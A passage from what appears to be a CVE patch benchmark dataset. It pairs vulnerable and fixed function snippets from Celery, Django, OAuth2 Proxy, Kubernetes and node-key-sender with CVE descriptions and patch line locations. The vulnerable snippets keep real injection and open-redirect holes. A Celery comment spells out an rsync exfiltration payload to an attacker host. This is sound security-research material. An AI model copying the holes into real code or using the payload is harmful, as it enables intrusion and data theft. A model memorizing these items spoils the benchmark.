as err: # noqa\n exc = Exception(f'{cls}({exc_msg})')\n if self.serializer in EXCEPTION_ABLE_CODECS:\n exc = get_pickled_exception(exc)\n return exc", "vul_localization": [ { "patch_lines": [ 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28 ], "tag": "modify" }, { "patch_lines": [ 30 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_py_41_1", "commit": "1f7ad7e", "file_path": "celery/backends/base.py", "start_line": 340, "end_line": 409, "snippet": " def exception_to_python(self, exc):\n \"\"\"Convert serialized exception to Python exception.\"\"\"\n if not exc:\n return None\n elif isinstance(exc, BaseException):\n if self.serializer in EXCEPTION_ABLE_CODECS:\n exc = get_pickled_exception(exc)\n return exc\n elif not isinstance(exc, dict):\n try:\n exc = dict(exc)\n except TypeError as e:\n raise TypeError(f\"If the stored exception isn't an \"\n f\"instance of \"\n f\"BaseException, it must be a dictionary.\\n\"\n f\"Instead got: {exc}\") from e\n\n exc_module = exc.get('exc_module')\n try:\n exc_type = exc['exc_type']\n except KeyError as e:\n raise ValueError(\"Exception information must include\"\n \"the exception type\") from e\n if exc_module is None:\n cls = create_exception_cls(\n exc_type, __name__)\n else:\n try:\n # Load module and find exception class in that\n cls = sys.modules[exc_module]\n # The type can contain qualified name with parent classes\n for name in exc_type.split('.'):\n cls = getattr(cls, name)\n except (KeyError, AttributeError):\n cls = create_exception_cls(exc_type,\n celery.exceptions.__name__)\n exc_msg = exc.get('exc_message', '')\n\n # If the recreated exception type isn't indeed an exception,\n # this is a security issue. Without the condition below, an attacker\n # could exploit a stored command vulnerability to execute arbitrary\n # python code such as:\n # os.system(\"rsync /data attacker@192.168.56.100:~/data\")\n # The attacker sets the task's result to a failure in the result\n # backend with the os as the module, the system function as the\n # exception type and the payload\n # rsync /data attacker@192.168.56.100:~/data\n # as the exception arguments like so:\n # {\n # \"exc_module\": \"os\",\n # \"exc_type\": \"system\",\n # \"exc_message\": \"rsync /data attacker@192.168.56.100:~/data\"\n # }\n if not isinstance(cls, type) or not issubclass(cls, BaseException):\n fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'\n raise SecurityError(\n f\"Expected an exception class, got {fake_exc_type} with payload {exc_msg}\")\n\n # XXX: Without verifying `cls` is actually an exception class,\n # an attacker could execute arbitrary python code.\n # cls could be anything, even eval().\n try:\n if isinstance(exc_msg, (tuple, list)):\n exc = cls(*exc_msg)\n else:\n exc = cls(exc_msg)\n except Exception as err: # noqa\n exc = Exception(f'{cls}({exc_msg})')\n\n return exc" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-23727" }, { "cve_id": "CVE-2018-14574", "cve_description": "django.middleware.common.CommonMiddleware in Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 has an Open Redirect.", "cwe_info": { "CWE-601": { "name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect." } }, "repo": "https://github.com/django/django", "patch_url": [ "https://github.com/django/django/commit/d6eaee092709aad477a9894598496c6deec532ff", "https://github.com/django/django/commit/c4e5ff7fdb5fce447675e90291fd33fddd052b3c", "https://github.com/django/django/commit/6fffc3c6d420e44f4029d5643f38d00a39b08525" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_10_1", "commit": "af344691114e4a68334c30543bfb838996328212", "file_path": "django/middleware/common.py", "start_line": 83, "end_line": 102, "snippet": " def get_full_path_with_slash(self, request):\n \"\"\"\n Return the full path of the request with a trailing slash appended.\n\n Raise a RuntimeError if settings.DEBUG is True and request.method is\n POST, PUT, or PATCH.\n \"\"\"\n new_path = request.get_full_path(force_append_slash=True)\n if settings.DEBUG and request.method in ('POST', 'PUT', 'PATCH'):\n raise RuntimeError(\n \"You called this URL via %(method)s, but the URL doesn't end \"\n \"in a slash and you have APPEND_SLASH set. Django can't \"\n \"redirect to the slash URL while maintaining %(method)s data. \"\n \"Change your form to point to %(url)s (note the trailing \"\n \"slash), or set APPEND_SLASH=False in your Django settings.\" % {\n 'method': request.method,\n 'url': request.get_host() + new_path,\n }\n )\n return new_path", "vul_localization": [ { "patch_lines": [ 9 ], "tag": "add" } ] }, { "id": "vul_py_10_2", "commit": "af344691114e4a68334c30543bfb838996328212", "file_path": "django/urls/resolvers.py", "start_line": 564, "end_line": 636, "snippet": " def _reverse_with_prefix(self, lookup_view, _prefix, *args, **kwargs):\n if args and kwargs:\n raise ValueError(\"Don't mix *args and **kwargs in call to reverse()!\")\n\n if not self._populated:\n self._populate()\n\n possibilities = self.reverse_dict.getlist(lookup_view)\n\n for possibility, pattern, defaults, converters in possibilities:\n for result, params in possibility:\n if args:\n if len(args) != len(params):\n continue\n candidate_subs = dict(zip(params, args))\n else:\n if set(kwargs).symmetric_difference(params).difference(defaults):\n continue\n matches = True\n for k, v in defaults.items():\n if kwargs.get(k, v) != v:\n matches = False\n break\n if not matches:\n continue\n candidate_subs = kwargs\n # Convert the candidate subs to text using Converter.to_url().\n text_candidate_subs = {}\n for k, v in candidate_subs.items():\n if k in converters:\n text_candidate_subs[k] = converters[k].to_url(v)\n else:\n text_candidate_subs[k] = str(v)\n # WSGI provides decoded URLs, without %xx escapes, and the URL\n # resolver operates on such URLs. First substitute arguments\n # without quoting to build a decoded URL and look for a match.\n # Then, if we have a match, redo the substitution with quoted\n # arguments in order to return a properly encoded URL.\n candidate_pat = _prefix.replace('%', '%%') + result\n if re.search('^%s%s' % (re.escape(_prefix), pattern), candidate_pat % text_candidate_subs):\n # safe characters from `pchar` definition of RFC 3986\n url = quote(candidate_pat % text_candidate_subs, safe=RFC3986_SUBDELIMS + '/~:@')\n # Don't allow construction of scheme relative urls.\n if url.startswith('//'):\n url = '/%%2F%s' % url[2:]\n return url\n # lookup_view can be URL name or callable, but callables are not\n # friendly in error messages.\n m = getattr(lookup_view, '__module__', None)\n n = getattr(lookup_view, '__name__', None)\n if m is not None and n is not None:\n lookup_view_s = \"%s.%s\" % (m, n)\n else:\n lookup_view_s = lookup_view\n\n patterns = [pattern for (_, pattern, _, _) in possibilities]\n if patterns:\n if args:\n arg_msg = \"arguments '%s'\" % (args,)\n elif kwargs:\n arg_msg = \"keyword arguments '%s'\" % (kwargs,)\n else:\n arg_msg = \"no arguments\"\n msg = (\n \"Reverse for '%s' with %s not found. %d pattern(s) tried: %s\" %\n (lookup_view_s, arg_msg, len(patterns), patterns)\n )\n else:\n msg = (\n \"Reverse for '%(view)s' not found. '%(view)s' is not \"\n \"a valid view function or pattern name.\" % {'view': lookup_view_s}\n )\n raise NoReverseMatch(msg)", "vul_localization": [ { "patch_lines": [ 44, 45, 46 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_10_1", "commit": "6fffc3c6d420e44f4029d5643f38d00a39b08525", "file_path": "django/middleware/common.py", "start_line": 84, "end_line": 105, "snippet": " def get_full_path_with_slash(self, request):\n \"\"\"\n Return the full path of the request with a trailing slash appended.\n\n Raise a RuntimeError if settings.DEBUG is True and request.method is\n POST, PUT, or PATCH.\n \"\"\"\n new_path = request.get_full_path(force_append_slash=True)\n # Prevent construction of scheme relative urls.\n new_path = escape_leading_slashes(new_path)\n if settings.DEBUG and request.method in ('POST', 'PUT', 'PATCH'):\n raise RuntimeError(\n \"You called this URL via %(method)s, but the URL doesn't end \"\n \"in a slash and you have APPEND_SLASH set. Django can't \"\n \"redirect to the slash URL while maintaining %(method)s data. \"\n \"Change your form to point to %(url)s (note the trailing \"\n \"slash), or set APPEND_SLASH=False in your Django settings.\" % {\n 'method': request.method,\n 'url': request.get_host() + new_path,\n }\n )\n return new_path" }, { "id": "fix_py_10_2", "commit": "6fffc3c6d420e44f4029d5643f38d00a39b08525", "file_path": "django/urls/resolvers.py", "start_line": 564, "end_line": 634, "snippet": " def _reverse_with_prefix(self, lookup_view, _prefix, *args, **kwargs):\n if args and kwargs:\n raise ValueError(\"Don't mix *args and **kwargs in call to reverse()!\")\n\n if not self._populated:\n self._populate()\n\n possibilities = self.reverse_dict.getlist(lookup_view)\n\n for possibility, pattern, defaults, converters in possibilities:\n for result, params in possibility:\n if args:\n if len(args) != len(params):\n continue\n candidate_subs = dict(zip(params, args))\n else:\n if set(kwargs).symmetric_difference(params).difference(defaults):\n continue\n matches = True\n for k, v in defaults.items():\n if kwargs.get(k, v) != v:\n matches = False\n break\n if not matches:\n continue\n candidate_subs = kwargs\n # Convert the candidate subs to text using Converter.to_url().\n text_candidate_subs = {}\n for k, v in candidate_subs.items():\n if k in converters:\n text_candidate_subs[k] = converters[k].to_url(v)\n else:\n text_candidate_subs[k] = str(v)\n # WSGI provides decoded URLs, without %xx escapes, and the URL\n # resolver operates on such URLs. First substitute arguments\n # without quoting to build a decoded URL and look for a match.\n # Then, if we have a match, redo the substitution with quoted\n # arguments in order to return a properly encoded URL.\n candidate_pat = _prefix.replace('%', '%%') + result\n if re.search('^%s%s' % (re.escape(_prefix), pattern), candidate_pat % text_candidate_subs):\n # safe characters from `pchar` definition of RFC 3986\n url = quote(candidate_pat % text_candidate_subs, safe=RFC3986_SUBDELIMS + '/~:@')\n # Don't allow construction of scheme relative urls.\n return escape_leading_slashes(url)\n # lookup_view can be URL name or callable, but callables are not\n # friendly in error messages.\n m = getattr(lookup_view, '__module__', None)\n n = getattr(lookup_view, '__name__', None)\n if m is not None and n is not None:\n lookup_view_s = \"%s.%s\" % (m, n)\n else:\n lookup_view_s = lookup_view\n\n patterns = [pattern for (_, pattern, _, _) in possibilities]\n if patterns:\n if args:\n arg_msg = \"arguments '%s'\" % (args,)\n elif kwargs:\n arg_msg = \"keyword arguments '%s'\" % (kwargs,)\n else:\n arg_msg = \"no arguments\"\n msg = (\n \"Reverse for '%s' with %s not found. %d pattern(s) tried: %s\" %\n (lookup_view_s, arg_msg, len(patterns), patterns)\n )\n else:\n msg = (\n \"Reverse for '%(view)s' not found. '%(view)s' is not \"\n \"a valid view function or pattern name.\" % {'view': lookup_view_s}\n )\n raise NoReverseMatch(msg)" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2018-14574" }, { "cve_id": "CVE-2021-21291", "cve_description": "OAuth2 Proxy is an open-source reverse proxy and static file server that provides authentication using Providers (Google, GitHub, and others) to validate accounts by email, domain or group. In OAuth2 Proxy before version 7.0.0, for users that use the whitelist domain feature, a domain that ended in a similar way to the intended domain could have been allowed as a redirect. For example, if a whitelist domain was configured for \".example.com\", the intention is that subdomains of example.com are allowed. Instead, \"example.com\" and \"badexample.com\" could also match. This is fixed in version 7.0.0 onwards. As a workaround, one can disable the whitelist domain feature and run separate OAuth2 Proxy instances for each subdomain.", "cwe_info": { "CWE-601": { "name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect." } }, "repo": "https://github.com/oauth2-proxy/oauth2-proxy", "patch_url": [ "https://github.com/oauth2-proxy/oauth2-proxy/commit/780ae4f3c99b579cb2ea9845121caebb6192f725" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_12_1", "commit": "48b1658", "file_path": "oauthproxy.go", "start_line": 425, "end_line": 466, "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase redirect == \"\":\n\t\t// The user didn't specify a redirect, should fallback to `/`\n\t\treturn false\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !invalidRedirectRegex.MatchString(redirect):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"Rejecting invalid redirect %q: scheme unsupported or missing\", redirect)\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, domain := range p.whitelistDomains {\n\t\t\tdomainHostname, domainPort := splitHostPort(strings.TrimLeft(domain, \".\"))\n\t\t\tif domainHostname == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif (redirectHostname == domainHostname) || (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif (domainPort == \"*\") ||\n\t\t\t\t\t(domainPort == redirectPort) ||\n\t\t\t\t\t(domainPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: domain / port not in whitelist\", redirect)\n\t\treturn false\n\tdefault:\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: not an absolute or relative URL\", redirect)\n\t\treturn false\n\t}\n}", "vul_localization": [ { "patch_lines": [ 16, 17, 18 ], "tag": "modify" }, { "patch_lines": [ 22 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_12_1", "commit": "780ae4f", "file_path": "oauthproxy.go", "start_line": 425, "end_line": 468, "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase redirect == \"\":\n\t\t// The user didn't specify a redirect, should fallback to `/`\n\t\treturn false\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !invalidRedirectRegex.MatchString(redirect):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"Rejecting invalid redirect %q: scheme unsupported or missing\", redirect)\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, allowedDomain := range p.whitelistDomains {\n\t\t\tallowedHost, allowedPort := splitHostPort(allowedDomain)\n\t\t\tif allowedHost == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif redirectHostname == strings.TrimPrefix(allowedHost, \".\") ||\n\t\t\t\t(strings.HasPrefix(allowedHost, \".\") &&\n\t\t\t\t\tstrings.HasSuffix(redirectHostname, allowedHost)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif allowedPort == \"*\" ||\n\t\t\t\t\tallowedPort == redirectPort ||\n\t\t\t\t\t(allowedPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: domain / port not in whitelist\", redirect)\n\t\treturn false\n\tdefault:\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: not an absolute or relative URL\", redirect)\n\t\treturn false\n\t}\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-21291" }, { "cve_id": "CVE-2020-8559", "cve_description": "The Kubernetes kube-apiserver's upgrade-aware proxy path can forward non-101 backend responses from proxied upgrade requests directly to the client. When the backend responds with redirect-like status codes or Location headers, this can expose an unvalidated redirect on an upgraded/proxied request path and may allow privilege escalation from a node compromise to a broader cluster compromise. In same-host redirect validation contexts, redirect or non-upgrade backend responses are proxy errors that belong on the configured ErrorResponder path rather than being relayed to the client.", "cwe_info": { "CWE-601": { "name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect." } }, "repo": "https://github.com/kubernetes/kubernetes", "patch_url": [ "https://github.com/kubernetes/kubernetes/commit/dcf60e04ddd6c50c8bf9b0c9d913bf82bff44333" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_62_1", "commit": "165a221", "file_path": "staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go", "start_line": 257, "end_line": 391, "snippet": "func (h *UpgradeAwareHandler) tryUpgrade(w http.ResponseWriter, req *http.Request) bool {\n\tif !httpstream.IsUpgradeRequest(req) {\n\t\tklog.V(6).Infof(\"Request was not an upgrade\")\n\t\treturn false\n\t}\n\n\tvar (\n\t\tbackendConn net.Conn\n\t\trawResponse []byte\n\t\terr error\n\t)\n\n\tlocation := *h.Location\n\tif h.UseRequestLocation {\n\t\tlocation = *req.URL\n\t\tlocation.Scheme = h.Location.Scheme\n\t\tlocation.Host = h.Location.Host\n\t}\n\n\tclone := utilnet.CloneRequest(req)\n\t// Only append X-Forwarded-For in the upgrade path, since httputil.NewSingleHostReverseProxy\n\t// handles this in the non-upgrade path.\n\tutilnet.AppendForwardedForHeader(clone)\n\tif h.InterceptRedirects {\n\t\tklog.V(6).Infof(\"Connecting to backend proxy (intercepting redirects) %s\\n Headers: %v\", &location, clone.Header)\n\t\tbackendConn, rawResponse, err = utilnet.ConnectWithRedirects(req.Method, &location, clone.Header, req.Body, utilnet.DialerFunc(h.DialForUpgrade), h.RequireSameHostRedirects)\n\t} else {\n\t\tklog.V(6).Infof(\"Connecting to backend proxy (direct dial) %s\\n Headers: %v\", &location, clone.Header)\n\t\tclone.URL = &location\n\t\tbackendConn, err = h.DialForUpgrade(clone)\n\t}\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Proxy connection error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\tdefer backendConn.Close()\n\n\t// determine the http response code from the backend by reading from rawResponse+backendConn\n\tbackendHTTPResponse, headerBytes, err := getResponse(io.MultiReader(bytes.NewReader(rawResponse), backendConn))\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Proxy connection error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\tif len(headerBytes) > len(rawResponse) {\n\t\t// we read beyond the bytes stored in rawResponse, update rawResponse to the full set of bytes read from the backend\n\t\trawResponse = headerBytes\n\t}\n\n\t// Once the connection is hijacked, the ErrorResponder will no longer work, so\n\t// hijacking should be the last step in the upgrade.\n\trequestHijacker, ok := w.(http.Hijacker)\n\tif !ok {\n\t\tklog.V(6).Infof(\"Unable to hijack response writer: %T\", w)\n\t\th.Responder.Error(w, req, fmt.Errorf(\"request connection cannot be hijacked: %T\", w))\n\t\treturn true\n\t}\n\trequestHijackedConn, _, err := requestHijacker.Hijack()\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Unable to hijack response: %v\", err)\n\t\th.Responder.Error(w, req, fmt.Errorf(\"error hijacking connection: %v\", err))\n\t\treturn true\n\t}\n\tdefer requestHijackedConn.Close()\n\n\tif backendHTTPResponse.StatusCode != http.StatusSwitchingProtocols {\n\t\t// If the backend did not upgrade the request, echo the response from the backend to the client and return, closing the connection.\n\t\tklog.V(6).Infof(\"Proxy upgrade error, status code %d\", backendHTTPResponse.StatusCode)\n\t\t// set read/write deadlines\n\t\tdeadline := time.Now().Add(10 * time.Second)\n\t\tbackendConn.SetReadDeadline(deadline)\n\t\trequestHijackedConn.SetWriteDeadline(deadline)\n\t\t// write the response to the client\n\t\terr := backendHTTPResponse.Write(requestHijackedConn)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from backend to client: %v\", err)\n\t\t}\n\t\t// Indicate we handled the request\n\t\treturn true\n\t}\n\n\t// Forward raw response bytes back to client.\n\tif len(rawResponse) > 0 {\n\t\tklog.V(6).Infof(\"Writing %d bytes to hijacked connection\", len(rawResponse))\n\t\tif _, err = requestHijackedConn.Write(rawResponse); err != nil {\n\t\t\tutilruntime.HandleError(fmt.Errorf(\"Error proxying response from backend to client: %v\", err))\n\t\t}\n\t}\n\n\t// Proxy the connection. This is bidirectional, so we need a goroutine\n\t// to copy in each direction. Once one side of the connection exits, we\n\t// exit the function which performs cleanup and in the process closes\n\t// the other half of the connection in the defer.\n\twriterComplete := make(chan struct{})\n\treaderComplete := make(chan struct{})\n\n\tgo func() {\n\t\tvar writer io.WriteCloser\n\t\tif h.MaxBytesPerSec > 0 {\n\t\t\twriter = flowrate.NewWriter(backendConn, h.MaxBytesPerSec)\n\t\t} else {\n\t\t\twriter = backendConn\n\t\t}\n\t\t_, err := io.Copy(writer, requestHijackedConn)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from client to backend: %v\", err)\n\t\t}\n\t\tclose(writerComplete)\n\t}()\n\n\tgo func() {\n\t\tvar reader io.ReadCloser\n\t\tif h.MaxBytesPerSec > 0 {\n\t\t\treader = flowrate.NewReader(backendConn, h.MaxBytesPerSec)\n\t\t} else {\n\t\t\treader = backendConn\n\t\t}\n\t\t_, err := io.Copy(requestHijackedConn, reader)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from backend to client: %v\", err)\n\t\t}\n\t\tclose(readerComplete)\n\t}()\n\n\t// Wait for one half the connection to exit. Once it does the defer will\n\t// clean up the other half of the connection.\n\tselect {\n\tcase <-writerComplete:\n\tcase <-readerComplete:\n\t}\n\tklog.V(6).Infof(\"Disconnecting from backend proxy %s\\n Headers: %v\", &location, clone.Header)\n\n\treturn true\n}", "vul_localization": [ { "patch_lines": [ 51 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_go_62_1", "commit": "dcf60e0", "file_path": "staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go", "start_line": 257, "end_line": 401, "snippet": "func (h *UpgradeAwareHandler) tryUpgrade(w http.ResponseWriter, req *http.Request) bool {\n\tif !httpstream.IsUpgradeRequest(req) {\n\t\tklog.V(6).Infof(\"Request was not an upgrade\")\n\t\treturn false\n\t}\n\n\tvar (\n\t\tbackendConn net.Conn\n\t\trawResponse []byte\n\t\terr error\n\t)\n\n\tlocation := *h.Location\n\tif h.UseRequestLocation {\n\t\tlocation = *req.URL\n\t\tlocation.Scheme = h.Location.Scheme\n\t\tlocation.Host = h.Location.Host\n\t}\n\n\tclone := utilnet.CloneRequest(req)\n\t// Only append X-Forwarded-For in the upgrade path, since httputil.NewSingleHostReverseProxy\n\t// handles this in the non-upgrade path.\n\tutilnet.AppendForwardedForHeader(clone)\n\tif h.InterceptRedirects {\n\t\tklog.V(6).Infof(\"Connecting to backend proxy (intercepting redirects) %s\\n Headers: %v\", &location, clone.Header)\n\t\tbackendConn, rawResponse, err = utilnet.ConnectWithRedirects(req.Method, &location, clone.Header, req.Body, utilnet.DialerFunc(h.DialForUpgrade), h.RequireSameHostRedirects)\n\t} else {\n\t\tklog.V(6).Infof(\"Connecting to backend proxy (direct dial) %s\\n Headers: %v\", &location, clone.Header)\n\t\tclone.URL = &location\n\t\tbackendConn, err = h.DialForUpgrade(clone)\n\t}\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Proxy connection error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\tdefer backendConn.Close()\n\n\t// determine the http response code from the backend by reading from rawResponse+backendConn\n\tbackendHTTPResponse, headerBytes, err := getResponse(io.MultiReader(bytes.NewReader(rawResponse), backendConn))\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Proxy connection error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\tif len(headerBytes) > len(rawResponse) {\n\t\t// we read beyond the bytes stored in rawResponse, update rawResponse to the full set of bytes read from the backend\n\t\trawResponse = headerBytes\n\t}\n\n\t// If the backend did not upgrade the request, return an error to the client. If the response was\n\t// an error, the error is forwarded directly after the connection is hijacked. Otherwise, just\n\t// return a generic error here.\n\tif backendHTTPResponse.StatusCode != http.StatusSwitchingProtocols && backendHTTPResponse.StatusCode < 400 {\n\t\terr := fmt.Errorf(\"invalid upgrade response: status code %d\", backendHTTPResponse.StatusCode)\n\t\tklog.Errorf(\"Proxy upgrade error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\n\t// Once the connection is hijacked, the ErrorResponder will no longer work, so\n\t// hijacking should be the last step in the upgrade.\n\trequestHijacker, ok := w.(http.Hijacker)\n\tif !ok {\n\t\tklog.V(6).Infof(\"Unable to hijack response writer: %T\", w)\n\t\th.Responder.Error(w, req, fmt.Errorf(\"request connection cannot be hijacked: %T\", w))\n\t\treturn true\n\t}\n\trequestHijackedConn, _, err := requestHijacker.Hijack()\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Unable to hijack response: %v\", err)\n\t\th.Responder.Error(w, req, fmt.Errorf(\"error hijacking connection: %v\", err))\n\t\treturn true\n\t}\n\tdefer requestHijackedConn.Close()\n\n\tif backendHTTPResponse.StatusCode != http.StatusSwitchingProtocols {\n\t\t// If the backend did not upgrade the request, echo the response from the backend to the client and return, closing the connection.\n\t\tklog.V(6).Infof(\"Proxy upgrade error, status code %d\", backendHTTPResponse.StatusCode)\n\t\t// set read/write deadlines\n\t\tdeadline := time.Now().Add(10 * time.Second)\n\t\tbackendConn.SetReadDeadline(deadline)\n\t\trequestHijackedConn.SetWriteDeadline(deadline)\n\t\t// write the response to the client\n\t\terr := backendHTTPResponse.Write(requestHijackedConn)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from backend to client: %v\", err)\n\t\t}\n\t\t// Indicate we handled the request\n\t\treturn true\n\t}\n\n\t// Forward raw response bytes back to client.\n\tif len(rawResponse) > 0 {\n\t\tklog.V(6).Infof(\"Writing %d bytes to hijacked connection\", len(rawResponse))\n\t\tif _, err = requestHijackedConn.Write(rawResponse); err != nil {\n\t\t\tutilruntime.HandleError(fmt.Errorf(\"Error proxying response from backend to client: %v\", err))\n\t\t}\n\t}\n\n\t// Proxy the connection. This is bidirectional, so we need a goroutine\n\t// to copy in each direction. Once one side of the connection exits, we\n\t// exit the function which performs cleanup and in the process closes\n\t// the other half of the connection in the defer.\n\twriterComplete := make(chan struct{})\n\treaderComplete := make(chan struct{})\n\n\tgo func() {\n\t\tvar writer io.WriteCloser\n\t\tif h.MaxBytesPerSec > 0 {\n\t\t\twriter = flowrate.NewWriter(backendConn, h.MaxBytesPerSec)\n\t\t} else {\n\t\t\twriter = backendConn\n\t\t}\n\t\t_, err := io.Copy(writer, requestHijackedConn)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from client to backend: %v\", err)\n\t\t}\n\t\tclose(writerComplete)\n\t}()\n\n\tgo func() {\n\t\tvar reader io.ReadCloser\n\t\tif h.MaxBytesPerSec > 0 {\n\t\t\treader = flowrate.NewReader(backendConn, h.MaxBytesPerSec)\n\t\t} else {\n\t\t\treader = backendConn\n\t\t}\n\t\t_, err := io.Copy(requestHijackedConn, reader)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from backend to client: %v\", err)\n\t\t}\n\t\tclose(readerComplete)\n\t}()\n\n\t// Wait for one half the connection to exit. Once it does the defer will\n\t// clean up the other half of the connection.\n\tselect {\n\tcase <-writerComplete:\n\tcase <-readerComplete:\n\t}\n\tklog.V(6).Infof(\"Disconnecting from backend proxy %s\\n Headers: %v\", &location, clone.Header)\n\n\treturn true\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-8559" }, { "cve_id": "CVE-2020-7627", "cve_description": "node-key-sender through 1.0.11 is vulnerable to Command Injection. It allows execution of arbitrary commands via the 'arrParams' argument in the 'execute()' function.", "cwe_info": { "CWE-94": { "name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." } }, "repo": "https://github.com/garimpeiro-it/node-key-sender", "patch_url": [ "https://github.com/garimpeiro-it/node-key-sender/commit/bea7d317576efa981536a6bf4dd3ff2f5660be44" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_14_1", "commit": "795eafe", "file_path": "key-sender.js", "start_line": 111, "end_line": 125, "snippet": " module.execute = function(arrParams) {\n return new Promise(function(resolve, reject) {\n var jarPath = path.join(__dirname, 'jar', 'key-sender.jar');\n\n var command = 'java -jar \\\"' + jarPath + '\\\" ' + arrParams.join(' ') + module.getCommandLineOptions();\n\n return exec(command, {}, function(error, stdout, stderr) {\n if (error == null) {\n resolve(stdout, stderr);\n } else {\n reject(error, stdout, stderr);\n }\n });\n });\n };", "vul_localization": [ { "patch_lines": [ 5, 7 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_14_1", "commit": "bea7d317576efa981536a6bf4dd3ff2f5660be44", "file_path": "key-sender.js", "start_line": 111, "end_line": 125, "snippet": " module.execute = function(arrParams) {\n return new Promise(function(resolve, reject) {\n var jarPath = path.join(__dirname, 'jar', 'key-sender.jar');\n\n var command = ['-jar', jarPath, arrParams.join(' '), module.getCommandLineOptions()];\n\n return exec('java', command, {}, function(error, stdout, stderr) {\n if (error == null) {\n resolve(stdout, stderr);\n } else {\n reject(error, stdout, stderr);\n }\n });\n });\n };" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-7627" }, { "cve_id": "CVE-2021-21432", "cve_description": "Vela's direct token authentication flow accepts a user-supplied GitHub token and uses it to authenticate the requester. Tokens 